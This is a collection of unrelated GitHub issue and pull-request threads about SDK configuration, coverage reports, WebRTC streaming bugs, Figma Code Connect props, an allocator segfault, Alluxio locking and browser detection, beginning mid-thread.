let websiteKey = "put your website key here";
const credentials = new SmartyStreetsCore.SharedCredentials(websiteKey);

let client = SmartyStreetsCore.buildClient.usAutocompletePro(credentials);

i.e., how do I call these methods? https://github.com/smartystreets/smartystreets-javascript-sdk/blob/master/src/ClientBuilder.js#L57

You can set the max timeout or max retries after you call build client. Here is how it would fit into the example code
const SmartyStreetsSDK = require("smartystreets-javascript-sdk");
const SmartyStreetsCore = SmartyStreetsSDK.core;
const Lookup = SmartyStreetsSDK.usAutocompletePro.Lookup;

// US Autocomplete Pro only supports using Website Keys
let websiteKey = "put your website key here";
const credentials = new SmartyStreetsCore.SharedCredentials(websiteKey);

let client = SmartyStreetsCore.buildClient.usAutocompletePro(credentials);
client.withMaxRetries(10);
client.withMaxTimeout(20000);

This would change it so there would be 10 retries (instead of the default of 5) and 20000 ms of max timeout (instead of the default of 10000).
Have I answered your question?

@camiblanch That answers my question. Thanks.
Closing the issue!


Layer Based Dataset

Codecov Report

Merging #20 (dc28d52) into main (e727dbb) will not change coverage.
The diff coverage is 100.00%.

@@            Coverage Diff            @@
##              main       #20   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files           26        30    +4
  Lines          704       758   +54
=========================================
+ Hits           704       758   +54

Impacted Files
Coverage Δ

zetta_utils/__init__.py
100.00% <100.00%> (ø)

zetta_utils/bbox.py
100.00% <100.00%> (ø)

zetta_utils/training/datasets/__init__.py
100.00% <100.00%> (ø)

...tils/training/datasets/sample_indexers/__init__.py
100.00% <100.00%> (ø)

...ta_utils/training/datasets/sample_indexers/base.py
100.00% <100.00%> (ø)

...atasets/sample_indexers/volumetric_step_indexer.py
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e727dbb...dc28d52. Read the comment docs.


ADDED RED RUNNER GAME

Description
Red Runner
Red Runner, Awesome Platformer Game.
It is now free and open source and always will be. 👏 🎉
Fixes:  #2248

Type of change

[x] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)
[x] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[x] This change requires a documentation update

Checklist:

[x] I have made this from my own
[x] I have taken help from some online resourses
[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas
[x] I have made corresponding changes to the documentation
[x] My changes generate no new warnings

ATTACH SCREEN-SHOTS / DEPLOYMENT LINK

@Sulagna-Dutta-Roy

This PR is not acceptable at all. I can't able to review it because of lagging issues. also 1.4k+ files for a project hightly not acceptable in any open source program.
If I merge this my repository will break, so I can't take a risk for other contributors @TheNikhilRaj
Expecting your view on this. Else I will close this PR Immediatly. Thanks @TheNikhilRaj

Closing this PR, as no update received on this. Also 1.4k+ files highly unacceptable

@Sulagna-Dutta-Roy no I'm still working on it..

This PR is not acceptable at all. I can't able to review it because of lagging issues. also 1.4k+ files for a project hightly not acceptable in any open source program. If I merge this my repository will break, so I can't take a risk for other contributors @TheNikhilRaj
Expecting your view on this. Else I will close this PR Immediatly. Thanks @TheNikhilRaj

close it! @Sulagna-Dutta-Roy

Thanks, for Informing


able to overrule/ignore the manual switch?

Hello,
first of all, thanks for this project. I've ordered my RS485 adapter and hope to test it soon
I don't have this fancy wall unit, only a dumb 3 position switch with a LED for the filter.
This connects on the RJ12 port on the Ubbink unit.
It is possible to control via this software and ignore this switch, just like you can do with the wall unit?
thanks!

Hello,
Sorry for the late reply -
Yes it's possible to use it without the wall unit, but this case you will stuck with the default settings, according to the documentation is 19200, 8 bit and EVEN parity.


Correct error messaging. Update error reporting.

Purpose
Found two error messages didnt meet API expectations.
Solution
Removed entity usage from message.
Additionally
Updated logging to give more context on error.

Coverage increased (+0.007%) to 26.763% when pulling 2fed5e7a9800b2ba552c64a5f9b4e7fb481bc222 on rjstires:event-error-updates into 86ce6bdb502713572520df5553d5673666015b25 on linode:develop.


WebRTC sterams from RTSP source don't work at all with v1.3.1

Hi @AlexxIT,
The ring-mqtt project currently uses go2rtc v1.2.0 as an RTSP proxy and the recommended setup for Home Assistant is to use the go2rtc addon with RTSPtoWebRTC integration.  With go2rtc addon v1.2.0 this worked perfectly.
However, as soon as I upgrade to v1.3.1, I can no longer view the streams at all, either in HA, or directly via the go2rtc web UI.  Weirdly, when I try to view the stream in the go2rtc web UI, it shows MSE instead of RTC.  Looking at the logs between working 1.2.0 and not working 1.3.1, I can't really see much difference, other than no logs from the stream component, but perhaps you didn't include those in the stream engine rewrite?
The only other obvious difference is in the candidate list in the WebRTC answer.  For 1.2.0 I get:
a=candidate:3440736625 1 udp<PHONE_NUMBER> <IP_ADDRESS> 8555 typ host
a=candidate:3440736625 2 udp<PHONE_NUMBER> <IP_ADDRESS> 8555 typ host
a=candidate:625380155 1 udp<PHONE_NUMBER> <IP_ADDRESS> 37933 typ srflx raddr <IP_ADDRESS> rport 37933
a=candidate:625380155 2 udp<PHONE_NUMBER> <IP_ADDRESS> 37933 typ srflx raddr <IP_ADDRESS> rport 37933
a=candidate:1894123665 1 tcp<PHONE_NUMBER> <IP_ADDRESS> 8555 typ host tcptype passive
a=candidate:1894123665 2 tcp<PHONE_NUMBER> <IP_ADDRESS> 8555 typ host tcptype passive
With with 1.3.1 there is:
a=candidate:3440736625 1 udp<PHONE_NUMBER> <IP_ADDRESS> 43050 typ host
a=candidate:3440736625 2 udp<PHONE_NUMBER> <IP_ADDRESS> 43050 typ host
a=candidate:625380155 1 udp<PHONE_NUMBER> <IP_ADDRESS> 52425 typ srflx raddr <IP_ADDRESS> rport 52425
a=candidate:625380155 2 udp<PHONE_NUMBER> <IP_ADDRESS> 52425 typ srflx raddr <IP_ADDRESS> rport 52425
a=candidate:1894123665 1 tcp<PHONE_NUMBER> <IP_ADDRESS> 8555 typ host tcptype passive
a=candidate:1894123665 2 tcp<PHONE_NUMBER> <IP_ADDRESS> 8555 typ host tcptype passive
As you can see, the internal UDP candadates appear to be using dynamic port with 1.3.1 instead of using the same 8555 port as tcp.  I don't know any reason why this would not work in my environment, but it's the only other difference I see.
I'm really at a loss, it seems straightforward, but also seems 100% reproducible.  If I revert to 1.2.0 it always works perfectly.  Any help or guidance for additional troubleshooting would be greatly appreciated.  I will try upgrading the go2rtc component in ring-mqtt to 1.3.1 as well, but it's just RTSP, so I would think that would not be the issue, the problem seems like it's on the WebRTC side.
I've attached logs if you are interested in looking at them.
go2rtc_120.log
go2rtc_131.log

same for me alll that shows up is this now

Restoring a 1.2 snapshot didn't help me with my ring-mqtt streaming either.

Restoring a 1.2 snapshot didn't help me with my ring-mqtt streaming either.

Can you please verify that you tested this on a day other than April 5th as Ring live streaming has been down pretty much all day.  Previously I've seen zero cases where reverting to 1.2 didn't resolve the issue.
Also, with v5.2.1 of ring-mqtt I upgraded the source RTSP server to go2rtc 1.3.1 as well, and now, with that version, I get video but no audio, which is confusing because it does show an audio stream is active, but there's just silence.  I need to somehow find time to dig into it deeper, but time is not something I have much of for the next few weeks.

Restoring a 1.2 snapshot didn't help me with my ring-mqtt streaming either.

Restoring to 1.2 worked just fine, ring was having some issues yesterday, we're all good today.

Same issue here. Mine seem to work on the very first instantiation, but then never again. I have to restore from a HA backup in order to get the functionality back, and then it again works only once.

I've tried everything I can think of to make this work.  I upgraded to go2rtc in ring-mqtt to use v1.3.1 for the RTSP server and this seems to make video work, but audio never works via WebRTC no matter what I've tried, other than downgrading the go2rtc addon to 1.2.0, which will then make it work.
I've also tried other RTSP clients and all of them work from the very same RTSP source, so I believe that this has to be something to do with the WebRTC side in go2rtc 1.3.x, but I haven't been able to figure it out.

Seems like this is basically the same issue as reported in https://github.com/AlexxIT/go2rtc/issues/309.

Have you tried the other webRTC project RTSPtoWeb? I'm having the same issue there as well... Makes me think this might be a HA backend bug.

I don't believe it is an HA bug because it fails directly in the go2rtc web UI, which is completely independent of anything to do with HA itself.
Also, RTSPtoWeb has very limited support for audio codecs in general, I think it may only support PCM audio codec (aLaw/uLaw).

@tsightler random port for UDP candidates is the expected behavior.
I have found that UDPMux does not work well under heavy loads. This is not noticeable when go2rtc is sending streams away. But it is very noticeable when go2rtc receives streams.
So I have enabled only TCPMux by default:
https://github.com/AlexxIT/go2rtc/blob/c44aaebd65a6c0f12866970976b7d00df37afacf/cmd/webrtc/init.go#L24
But if you want - you can enable both TCP and UDP Mux for WebRTC via yaml config.
I still don't know which option is better. I'm experimenting.

@AlexxIT Thanks for the feedback, makes sense.  However, that doesn't seem to be related to the issue I'm seeing with v1.3+.  I can get video to work, but audio never works.  It seems like the client knows there is supposed to be an audio stream as I get volume controls while, for streams with no audio the volume controls are greyed out.
I'm not sure if this is only impacts certain types of Opus audio streams or what (my streams have both Opus and AAC), but I think I saw some other reports with a similar issue with Opus streams, so maybe that's the common issue.
Open to any suggestions or can provide any logs.

@tsightler thanks for your logs. Very helpful. I can see a problem. SDP without control is processed not properly. All my cameras have it. That's why I didn't see such a bug.

Looks like this is fixed with go2rtc 1.3.2, at least, it seems to be working for me now.  Thanks!

Can confirm this works for me as well.

Closing as this seems to be resolved with 1.3.2.


I am stuck :<

Challenge Use CSS Selectors to Style Elements has an issue.
User Agent is: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko.
Please describe how to reproduce this issue, and include links to screenshots if possible.
My code:
<style>
</style>
 <h2> {color: blue; CatPhotoApp}

@brandonevansmgmt
Please use the Help chat room for getting challenge related help.
GitHub Issues are for reporting bugs on the website only.
Happy Coding.


Update main page contact form

Contact form needs to have colored “required” text underneath fields rather than charcoal like now

Fixed by anthony


To be honest, I haven't requested it because when I was working on it initially I felt it was really incomplete. (and I still do).
But if you think's it's a good idea, I can a pull request right now

I'm finishing the requirements right now

It was just merged into awesome. Tweet: https://twitter.com/awesome__re/status/1223484444629061632?s=19


OpenBSD doc

[x] read the CONTRIBUTING guidelines
[ ] raised a GitHub issue or discussed it on the projects chat beforehand
[ ] added unit tests
[ ] added integration tests
[x] updated documentation if needed
[ ] updated CHANGELOG.md

As an OpenBSD user myself I can confirm these instructions are good :)
Pretty similar setup to a blog post I wrote a while ago.


Images with preinstalled modules

Would it be better if we would have containers which are already build up with all modules etc to reduce the necessary startup time of containers?

Nice idea in case you need to bootstrap faster the app. It's a specific use case that's not common, feel free to make a PR to propose your change.


Move DynamicData into Azure.Core package

Move DynamicData and related types into the Azure.Core package.
Addresses https://github.com/Azure/azure-sdk-for-net/issues/33856
Fixes: https://github.com/Azure/azure-sdk-for-net/issues/13321

API change check
APIView has identified API level changes in this PR and created following API reviews.
Azure.Core

🥳


Deploy to Metis Sepolia

Chain Name
Metis Sepolia
Chain ID
59902
RPC URL
https://sepolia.metisdevops.link/
Block Explorer URL
https://sepolia-explorer.metisdevops.link/
Deployment Funds
Yes

Looks like someone already deployed using the presigned transaction! https://sepolia-explorer.metisdevops.link/address/0xcA11bde05977b3631167028862bE2a173976CA11?tab=contract


Self Organizer loop

Hello,
Thank you for sharing.
I think the while loop in the self organizer should be replaced with an "OR" instead of the "AND" so we can end up with a model which is good at generalization and where there is neurons that can cluster the input vector at the same time.
Greetings.

Hi Hafsaa,
I'm a bit confused by your question - if we want a model that can both generalize AND cluster the input vector well, then we'd need to use the AND operator. OR would only ensure that one of the conditions are met, not both.
-Andrew

@HafsaaOuifak, Did you can run Self Organizer fuzzy DNN and test it?

I have been trying to train a time series classification model using the Fuzzy Network but I am getting this error:
TypeError                                 Traceback (most recent call last)
Cell In[87], line 1
----> 1 fuzz = FuzzyNetwork(
2             X_train, X_test, y_train, y_test,           # data attributes
3             neurons=3, s_init=4, max_neurons=200,       # initialization parameters
4             eval_thresh=0.5, ifpart_thresh=0.1354       # evaluation and ifpart threshold
5             )
Cell In[7], line 163, in FuzzyNetwork.init(self, X_train, X_test, y_train, y_test, neurons, max_neurons, ifpart_thresh, ifpart_samples, err_delta, prob_type, debug, **kwargs)
161 # define model and set model attribute
162 self.model = None
--> 163 self.build_model(**kwargs)
Cell In[7], line 224, in FuzzyNetwork.build_model(self, **kwargs)
222 phi = fuzz(inputs)
223 psi = norm(phi)
--> 224 f = weights([inputs, psi])
225 raw_output = raw(f)
226 final_out = raw_output
File ~/anaconda3/lib/python3.10/site-packages/keras/utils/traceback_utils.py:70, in filter_traceback..error_handler(*args, **kwargs)
67     filtered_tb = _process_traceback_frames(e.traceback)
68     # To get the full stack trace, call:
69     # tf.debugging.disable_traceback_filtering()
---> 70     raise e.with_traceback(filtered_tb) from None
71 finally:
72     del filtered_tb
File /var/folders/rx/2rch_5gs0rj783vwdcdrtkpw0000gn/T/autograph_generated_fileaf0b2n9f.py:42, in outer_factory..inner_factory..tf__call(self, x, **kwargs)
40 assert ag.converted_call(ag__.ld(len), (ag__.ld(x),), None, fscope) == 2
41 (x, psi) = ag__.ld(x)
---> 42 b = ag__.converted_call(ag__.ld(K).ones, ((ag__.converted_call(ag__.ld(K).tf.shape, (ag__.ld(x),), None, fscope)[0], 1),), dict(dtype=ag__.ld(x).dtype), fscope)
43 aligned_b = ag__.converted_call(ag__.ld(K).concatenate, ([ag__.ld(b), ag__.ld(x)],), None, fscope)
44 aligned_a = ag__.ld(self).a
TypeError: Exception encountered when calling layer "Weights" (type WeightedLayer).
I have tried updating Tensorflow to no avail

@RichieChilipa You can find here the requirements I ve used to run it.
https://github.com/HafsaaOuifak/SOFNN
For tensorflow, I used this version:
tensorflow==1.13.1
tensorflow-estimator==1.13.0

Thank you for your response.
On Thu, May 25, 2023 at 10:31 PM HafsaaOuifak @.***>
wrote:

@RichieChilipa https://github.com/RichieChilipa You can find here the
requirements I ve used to run it.
https://github.com/HafsaaOuifak/SOFNN
For tensorflow, I used this version:
tensorflow==1.13.1
tensorflow-estimator==1.13.0
—
Reply to this email directly, view it on GitHub
https://github.com/andrewre23/sofenn/issues/1#issuecomment-1563471066,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/A474AAELAQ4H6AV7DSVAJRLXH66SNANCNFSM5DRCOVKQ
.
You are receiving this because you were mentioned.Message ID:
@.***>


External links should open in an external browser

CPod version: 1.27.1
Platform: Linux
Installation type (.deb, Snap, etc.): AppImage
Description:
If I click the donate button in the app it opens in the app (because it's actually Electron running a webpage) and I can't get out: there's no back button. I also don't know what page I'm on because there's no way to see URLs in the sandboxed Electron environment, so I don't really want to try to donate through it, and even if I did I can't because it seems Electron has blocked loading external javascript. Furthermore, if, from that page, I click the Github icon on your description, I end up with two Electron windows, neither of them with back buttons.
Is there a way to make all links in Electron apps open externally? This seems like it could probably turn into a remote-code execution vulnerability, if someone could inject a link (maybe via a podcast feed? or by taking over or just posting on a forgotten webpage that you'd linked at some point?).
By the way, I do want to donate. Is https://www.buymeacoffee.com/zackguard the right link? Would you add it to the README here so that there's a backup way to it in the meantime?
Version of CPod which introduced the issue (if applicable):
Steps to reproduce:

Open App
Click Settings icon
Scroll down
Click 'Buy me a coffee'

Other information (e.g. Developer Tools console log, screenshots) if possible:
Here's the way I triggered it:

Here you can see the second window open, too:

Thanks for the detailed issue description. This has been fixed in 3cbb37cc020e4d362e2c616390a5c988f1e4e724. I have not created a new build that includes this fix.
Re. the potential vulnerability you suggest, links in episode descriptions already open externally and podcast descriptions are stripped of all HTML.
I really appreciate your wanting to donate, but please be aware that I haven't touched CPod in a long time and I don't realistically see myself spending much more time on it in the future.

Thanks for the detailed issue description. This has been fixed in 3cbb37cc020e4d362e2c616390a5c988f1e4e724. I have not created a new build that includes this fix.
Re. the potential vulnerability you suggest, links in episode descriptions already open externally and podcast descriptions are stripped of all HTML.
I really appreciate your wanting to donate, but please be aware that I haven't touched CPod in a long time and I don't realistically see myself spending much more time on it in the future.


Bad performance when logging in output panel

VSCode Version: Code - Insiders 1.13.0-insider (688b96f7dfa37b53b88eec4e6cb9af75a499fe86, 2017-05-05T15:34:02.954Z)
OS Version: Windows_NT ia32 10.0.16188

Steps to Reproduce:

Create test.py and tasks.json as below
Run the task
The output text is shown a big number of lines a time (instead of line by line in terminal).
And if you change range(100000) to range(1000000), vscode will freeze (become really really slow).

test.py:
for i in range(100000):
    print(i)

tasks.json:
{
    "version": "0.1.0",
    "command": "python",
    "isShellCommand": true,
    "args": ["test.py"],
    "showOutput": "always"
}

Known issue, more details can be found here https://github.com/Microsoft/vscode/issues/22804

Closing as will not fix (can not fix) due to to the most time being spent in sending json objects around.


Option to show boolean props as "prop={boolean}"

Hey! I'm working on Meta's internal design system with @vjeux and piloting code connect.
We have a few components where boolean props are required so the current way figma code connect displays booleans is incorrect. Some examples of this are components like switch, checkboxes, radio.
Here's an example for how we've connected up our switch:
figma.connect(
  XDSSwitch,
  'https://www.figma.com/design/qHKLpmJo1s50sJPJLiRM3C/XDS-Web-Library-(Copy)?node-id=27781-138&t=aIEXaN0VmoSYJrS2-4',
  {
    props: {
      isLabelHidden: figma.boolean('Show Label', {
        true: undefined,
        false: true,
      }),
      hasSpinner: figma.enum('State', {
        Loading: true,
      }),
      isDisabled: figma.enum('State', {
        Disabled: true,
      }),
      tooltip: figma.boolean('Show Tooltip', {
        true: 'Tooltip content goes here',
        false: undefined,
      }),
      value: figma.boolean('Value', {
        true: true,
        false: false,
      }),
      label: figma.boolean('Value', {
        true: figma.string('↪ On Label'),
        false: figma.string('↪ Off Label'),
      }),
      labelPosition: figma.enum('Label Position', {
        Left: 'left',
      }),
    },
    example: props => (
      <XDSSwitch
        hasSpinner={props.hasSpinner}
        isDisabled={props.isDisabled}
        isLabelHidden={props.isLabelHidden}
        label={props.label}
        labelPosition={props.labelPosition}
        tooltip={props.tooltip}
        value={props.value}
      />
    ),
  },
);

For most boolean props, showing them when true and hiding them when false is mostly fine (though the convention in our codebase is to always be explicit). However, for required boolean props we end up with incorrect results like so:

The correct code should look like this when false:
<XDSSwitch label="Off" value={false} />

And like this when true:
<XDSSwitch label="Off" value={true} />

If value is not provided, our type checker will throw an error since it's a required prop.
Is there a good way to specify that a boolean should be explicitly shown in the code snippet? Maybe an API like this?
      value: figma.boolean('Value', {
        true: figma.requiredValue(true),
        false: figma.requiredValue(false),
      }),

My read on this is that there's code to not add the prop when the value is undefined but it's been implemented as !value and also catching false by mistake.

Hey @cixzhang @vjeux,
This is "by design", in that we assumed that usually a false Figma boolean mapped to a React prop should result in the prop not being output, rather than being output as false.
However, this doesn't account for cases like yours. We actually have the concept of defaultValue and hideDefault in our SwiftUI API which cover this case – I'm going to speak to the team and see if we can align on a way to solve this for you!

@tomduncalf-figma thanks for considering this use case!
We also sometimes have boolean props that default to true so in those cases, showing an explicit false assignment is also important.

I raised this here as well: https://github.com/figma/code-connect/issues/155

It would be awesome if there was a param on figma.boolean for an explicit return that would still return the actual false instead of nothing.


Segmentation fault when optimized

I had some issues lately when I optimize the code with gcc -O2 or any level above 0, It gives me segfault at arena_da_append because of accessing the memory got from arena_alloc, the weird thing is that it first made it through 4 or more allocations

@yhyadev It's hard to tell exactly what's happening, but based off of what you're describing it sounds like a memory alignment issue. I've experienced something similar when allocating large numbers of strings to a similar type of arena allocator.
Something you can try is getting the alignment of your type with _Alignof() and doing something like the following:
void * foo_alloc(Arena *arena, size_t size, size_t alignment -- *your alignment you got with _Alignof()*)
{
    size = (size + alignment - 1) & ~(alignment - 1);

    ...
       allocation related code
    ...

    uintptr_t current = (uintptr_t)arena->region->data + arena->region->size;
    uintptr_t aligned = (current + alignment - 1) & ~(alignment - 1);

    arena->region->size = aligned - (uintptr_t)arena->region->data + size;

    return (void *)aligned;
}

I'm working from memory here, so you may have to tweak some things, but it could be worth a shot to see if that's your issue.
Sorry if this doesn't help.

Sorry if this doesn't help.

I stopped already working with C, and removed arena.c from the project as I didn't need it, It would be better for someone else that got a similar issue to try this solution


CAM-10232 CAM-5520 fix for DMN JUEL property resolution bug

Bugfix for
https://app.camunda.com/jira/browse/CAM-10232
https://app.camunda.com/jira/browse/CAM-5520

Hi @mplukas ,
Thank you for your contribution.
We will have a look and get back to you.
Best regards,
Yana

Hi @mplukas,
Thanks for providing the pull request (and https://github.com/camunda/camunda-bpm-platform/pull/334). Regarding the tests: We prefer testing our API over testing the implementation classes (as tests remain more stable in case of code refactoring and the tests act as the specification of the API). Can you please rewrite the tests such that they use the DMN engine API? E.g. that could be evaluating a decision that uses an expression.
Cheers,
Thorben

Tests using DMN Engine API added to ExpressionLanguageTest.
Feel free to remove JuelElProviderTest if deemed unnecessary.

Thanks for the contribution. I have merged it via https://github.com/camunda/camunda-engine-dmn/commit/c580cea83dc9020f5baf642107d9150f810ca5b6.


Update README.md

Add "DEPRECATED"  to title

Thanks ! We can likely move that to https://github.com/jupyter-attic I guess.


create profile model and add it to the admin panel

commit: 2d2c48134854016322f05140529e1b9d3d87b6c1

Profile model is created and the model is registered to admin site


Add Helm3 completion script #1575

addition of completion script for helm3

@johnp41 many thanks for this PR.  I suppose there are changes needed on the snapcraft.yaml?


Minor: Add 2.5 versions

As part of the 2.5.0 release, add the 2.5 versions to various places in the build

@mumrah Thanks for the PR, we already had a PR to add this: https://github.com/apache/kafka/pull/8378/

@abbccdda let's go with your PR as it includes updates to the actual tests as well. Thanks!


STYLE: remove duplicated itkMath.h headers

17 files had #include "itkMath.h" twice and one file 3 times.

/azp run ITK.macOS

FYI Such duplicate #include's typically seem to be introduced by git merges. So it's not like people intentionally added the same #include twice.


Declare variables, arrays with forced address

Would it be possible to force the start address of a variable or an array when declaring it, at user risks.
dim bgcol! @ $d021
dim charset![2048] @ $2000
maybe it won't be allowed for fast variables
it would allow to manipulate memory locations with array notation instead of Peek & Poke, maybe it is probably faster as well.

This is a valid feature request and relatively easy to implement. Scheduled for v2.2

great! thanks!

The new feature has been implemented in the current develop branch. An example code:
const SCREEN_ADDR = $0400
dim screen![1000] @ SCREEN_ADDR
for i=0 to 999
  screen![i] = 65
next i

works well so far :)

I think I'll close this now and we'll get back to it if the pre-release tests fail for v2.2


Make Android builds installable on each pull request

Issue

no issue related

Overview (Required)

Upload build artifact (debug dev APK) to DeployGate and add a downloadable link on pull requests
Once the build is completed, subsequent jobs defined inStage*.yml start running. The jobs have nothing to do with any runnable code in the repository so they can safely use the secret (DEPLOYGATE_API_KEY)
The distribution is automatically deleted once the pull request is closed
Heavily depend on gh-scripts branch in the last year's conference app repo by @jmatsu (might be better to refactor)

Links

https://github.com/DroidKaigi/conference-app-2021

Screenshot
n/a

Due to the GitHub Actions restriction, newly added on: workflow_run workflows don't run on the branchs except main. They will start working once they are merged into the main branch.

Thanks!


Fix tower loading in development

Codecov Report

Merging #192 into master will decrease coverage by 0.06%.
The diff coverage is 90.9%.

@@            Coverage Diff             @@
##           master     #192      +/-   ##
==========================================
- Coverage   92.27%   92.21%   -0.07%
==========================================
  Files          86       86
  Lines        1075     1079       +4
  Branches      179      180       +1
==========================================
+ Hits          992      995       +3
- Misses         68       69       +1
  Partials       15       15

Impacted Files
Coverage Δ

packages/warriorjs-cli/src/loadTowers.js
95.23% <90.9%> (-4.77%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 1014bbf...62dc87c. Read the comment docs.


New release?

First of all, thanks for both rq and rq-scheduler!
Would it be possible to get a new release cut and published here? The current latest version on PyPI includes usage of _zadd that no longer work with redis>3.0, despite rq transitively requiring redis>3.0. It looks like these commits on master make the relevant fixes:

a477251f65357cdc9ed4cd48e0449b1ed9465604
1822f7a17230a437ed6001dda3d3ce824b622f48

Thanks again!

I would also love a new release :)

What do you think @selwin ?

Will try make a new release this weekend.

Version 0.9.1 is now up on PyPI https://pypi.org/project/rq-scheduler/


Object contains duplicate keys in lang/eq_eq.json

I was wondering if there are duplicate keys, for I saw two "advancements.story.enchant_item.title".

there definitely shouldnt be two

But actually there are...

yea, will fix

@Andy-K-Sparklight join our discord? https://love-tolerance.com/discord

Discord has rejected my request for I'm using a proxy... And I don't think I can still visit github if I close it (So Sad).

oh ok, np


refactor(controller): fix slice init length

The intention here should be to initialize a slice with a capacity of length rather than initializing the length of this slice.
The online demo: https://go.dev/play/p/q1BcVCmvidW

Thank you @cuishuang!


Need better handling of bulk lock operations on a directory

Alluxio Version:
Affects all versions
Describe the bug
When a user issues a call that acquires a writeLock on a large directory, there is no mechanism for killing the locking call.
To Reproduce
Issue a command to Alluxio that acquires a writeLock (chown -R or -Dalluxio.user.file.metadata.sync.interval=0). Run this on a large directory (10k inodes with multiple nested levels). Once the command is issued, have the user terminate the command from the client side. Any other clients attempting to access or run operations on that directory will be unable to do so, and operators will have no mechanism to kill/stop the operation.
Expected behavior
Bulk operations should attempt to run from the top of the tree down and free up the writeLock once complete on the high level iNode. Alternatively, operators should have a command similar to './bin/alluxio job ls' that allows visibility into running operations on the Alluxio Master and gives some basic control to force terminate certain operations.
Urgency
High.
Additional context
Makes multi-tenant environments hard to manage and maintain. For example if directory structure is as shown below then a bulk writeLock operation on directory a'', will prevent all users from listing the directory 'shared' (even though they can directly list 'shared/b/' if they are aware it exists)
shared/
|--a/
|--b/
|--c/
|--d/

This issue is split as below:
https://github.com/Alluxio/alluxio/issues/10544
https://github.com/Alluxio/alluxio/issues/10545


Wangkanai.Detection does not log Opera browser properly

Is your feature request related to a problem? Please describe.
Hi, I use Wangkanai.Detection to log browser requests on the api backend of a website.
However, it detects Opera browser as Chrome, and does not log it as Opera.
Describe the solution you'd like
If possible :) can you add detection of Opera browser?
I guess this is not an urgent issue, but it can be helpful.
Describe alternatives you've considered
None
Additional context
The current user agent for Opera is:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<IP_ADDRESS> Safari/537.36 OPR/<IP_ADDRESS>
I am really fond of this project, thanks in advance ❤

Thank you for the heads up, I will have a detail look at it tomorrow.

Surely, I will have a look into the browser version issue.

Hi, @wangkanai thanks a lot for the fix! Now I get the Opera browser name properly, however, the browser version returns as 0.0 . I wonder if you can also fix this small issue, if you have some spare time :) Thanks in advance 😊

I have fixed this issue and going to publish a update release to nuget with version 7.1.1


platform_views_scroll_perf_ios__timeline_summary is flaky

The current flakes appear to be losing the connection to the device.
Adding to the infra queue as a P0 since this is blocking an engine roll needed for the branch cut.

/cc @cyanglaz @blasten for platform view test.

For future debugging: the flakiness started somewhere earlier than 127e67902e8bbb0dcbfb3351b8fd00f7cbdf0178

Log:
2020-09-09T20:53:39.468483: stdout: [   +1 ms]   DriverError: Failed to fulfill SetFrameSync due to remote error
stdout: [        ]   Original error: Bad state: The client is closed.
stdout: [        ]   Original stack trace:
2020-09-09T20:53:39.468735: stdout: [        ]   #0      Client._send (package:json_rpc_2/src/client.dart:139:19)
stdout: [        ]   #1      Client.sendRequest (package:json_rpc_2/src/client.dart:107:5)
2020-09-09T20:53:39.468871: stdout: [        ]   #2      Peer.sendRequest (package:json_rpc_2/src/peer.dart:99:15)
2020-09-09T20:53:39.468931: stdout: [        ]   #3      Scope.sendRequestRaw (package:vm_service_client/src/scope.dart:64:23)
2020-09-09T20:53:39.468990: stdout: [        ]   #4      VMIsolateRef.invokeExtension (package:vm_service_client/src/isolate.dart:361:19)
2020-09-09T20:53:39.469090: stdout: [        ]   #5      VMServiceFlutterDriver.sendCommand (package:flutter_driver/src/driver/vmservice_driver.dart:334:63)
2020-09-09T20:53:39.469186: stdout: [        ]   #6      VMServiceFlutterDriver.runUnsynchronized (package:flutter_driver/src/driver/vmservice_driver.dart:531:13)
2020-09-09T20:53:39.469244: stdout: [        ]   <asynchronous suspension>
2020-09-09T20:53:39.469327: stdout: [        ]   #7      main.<anonymous closure>.<anonymous closure> (file:///Users/flutter/.cocoon/flutter/dev/benchmarks/platform_views_layout/test_driver/scroll_perf_test.dart:59:20)
2020-09-09T20:53:39.469405: stdout: [        ]   #8      Declarer.test.<anonymous closure>.<anonymous closure> (package:test_api/src/backend/declarer.dart:175:19)
2020-09-09T20:53:39.469478: stdout: [        ]   <asynchronous suspension>
2020-09-09T20:53:39.469577: stdout: [        ]   #9      Declarer.test.<anonymous closure>.<anonymous closure> (package:test_api/src/backend/declarer.dart)
2020-09-09T20:53:39.469649: stdout: [        ]   #10     _rootRun (dart:async/zone.dart:1190:13)
2020-09-09T20:53:39.469743: stdout: [        ]   #11     _CustomZone.run (dart:async/zone.dart:1093:19)
2020-09-09T20:53:39.469824: stdout: [        ]   #12     _runZoned (dart:async/zone.dart:1630:10)
2020-09-09T20:53:39.469889: stdout: [        ]   #13     runZoned (dart:async/zone.dart:1550:10)
2020-09-09T20:53:39.470004: stdout: [        ]   #14     Declarer.test.<anonymous closure> (package:test_api/src/backend/declarer.dart:173:13)
2020-09-09T20:53:39.470073: stdout: [        ]   #15     Invoker.waitForOutstandingCallbacks.<anonymous closure> (package:test_api/src/backend/invoker.dart:231:15)
2020-09-09T20:53:39.470177: stdout: [        ]   #16     _rootRun (dart:async/zone.dart:1190:13)
2020-09-09T20:53:39.470264: stdout: [        ]   #17     _CustomZone.run (dart:async/zone.dart:1093:19)
2020-09-09T20:53:39.470349: stdout: [        ]   #18     _runZoned (dart:async/zone.dart:1630:10)
2020-09-09T20:53:39.470433: stdout: [        ]   #19     runZoned (dart:async/zone.dart:1550:10)
2020-09-09T20:53:39.470511: stdout: [        ]   #20     Invoker.waitForOutstandingCallbacks (package:test_api/src/backend/invoker.dart:228:5)
2020-09-09T20:53:39.470581: stdout: [        ]   #21     Invoker._onRun.<anonymous closure>.<anonymous closure>.<anonymous closure> (package:test_api/src/backend/invoker.dart:383:17)
2020-09-09T20:53:39.470669: stdout: [        ]   <asynchronous suspension>
